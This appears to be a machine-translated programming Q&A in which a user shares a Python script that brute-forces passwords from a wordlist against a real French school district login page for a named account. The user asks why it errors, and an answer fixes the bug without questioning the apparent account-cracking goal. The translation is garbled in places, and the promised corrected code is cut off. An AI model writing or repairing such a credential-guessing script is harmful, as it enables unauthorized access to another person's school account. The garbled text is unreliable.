请帮助我我不知道如何使用请求
这是代码:
import requests
url = requests.get("https://idp-fim-aaa.ac-bordeaux.fr/login/ct_logon_mixte.jsp?CT_ORIG_URL=%2Fsso%2FSSO%3FSPEntityID%3Dhttps%3A%2F%2Fent2d.ac-bordeaux.fr%2Fshibboleth%26TARGET%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html%26RelayState%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html")
arq = open('word.txt','r').readlines()
for line in arq:
password = line.strip()
http = requests.post(url, data={'user':'bisch', 'password':password, 'button':'submit'})
content = http.content
if "Identifiant ou mot de passe incorrect" in content:
print("[-]Invalide : "+password)
else:
print("================== [+] MOT DE PASSE CRACKÉ : "+password+"===========")
break
我得到了这个:
<块引用>回溯(最近一次调用最后一次):文件“F:\Program Files (x86)\py\lib\site-packages\requests\models.py”,第 382 行,在 准备网址 方案、身份验证、主机、端口、路径、查询、片段 = parse_url(url) 文件“F:\Program Files (x86)\py\lib\site-packages\urllib3\util\url.py”,第 394 行,在 解析网址 return Six.raise_from(LocationParseError(source_url), None) File "", line 3, in raise_from urllib3.exceptions.LocationParseError:解析失败:<响应 [200]>
在处理上述异常的过程中,又发生了一个异常:
回溯(最近一次调用最后一次):文件“F:/Program Files
(x86)/py/Hack pronote/Pronote v3/Pronote.py”,第 8 行,在
http = requests.post(url, data={'user':'bisch', 'password':password, 'button':'submit'}) File "F:\Program Files
(x86)\py\lib\site-packages\requests\api.py”,第 119 行,在帖子中
return request('post', url, data=data, json=json, **kwargs) File "F:\Program Files (x86)\py\lib\site-packages\requests\api.py", line
61, 请求
返回 session.request(method=method, url=url, **kwargs) 文件 "F:\Program Files (x86)\py\lib\site-packages\requests\sessions.py",
第 528 行,请求中
prep = self.prepare_request(req) File "F:\Program Files (x86)\py\lib\site-packages\requests\sessions.py", line 456, in
准备请求
p.prepare( File "F:\Program Files (x86)\py\lib\site-packages\requests\models.py", line 316, in prepare
self.prepare_url(url, params) 文件“F:\Program Files (x86)\py\lib\site-packages\requests\models.py”,第 384 行,在
准备网址
引发 InvalidURL(*e.args) requests.exceptions.InvalidURL:解析失败:
答案 0 :(得分:0)
正如@Iarsks 所说,这是一个问题,您尝试使用 URL 变量,但 URL 变量不是字符串而是一个对象,请求对象是特定的。
如果我理解你的代码,我和@Iarsks 所说的,你可能不理解请求是如何工作的,因为你似乎试图在不需要的时候以某种方式声明一个 URL。为简化起见,您只需要这样的 URL 字符串:
url = "https://idp-fim-aaa.ac-bordeaux.fr/login/ct_logon_mixte.jsp?CT_ORIG_URL=%2Fsso%2FSSO%3FSPEntityID%3Dhttps%3A%2F%2Fent2d.ac-bordeaux.fr%2Fshibboleth%26TARGET%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html%26RelayState%3Dhttps%3A%252F%252F0333287U.index-education.net%252Fpronote%252Feleve.html"
没有 requests.get()
函数。
所以你可以更好地理解这个库有两个主要使用的请求方法GET
和POST
,还有更多,但在这里只说这两个,其中{{1 }} 是您想要从网站获取信息,例如,来自 API 的 JSON 文件,GET
是您想要保存或发送一些新数据到 API 或网页。
无论如何,我建议您阅读有关请求的基础知识以及后端如何处理它们的内容,以便在您自己开始使用请求之前了解并了解其工作原理。
如果我的问题是正确的,以下代码应该可以解决您的问题:
POST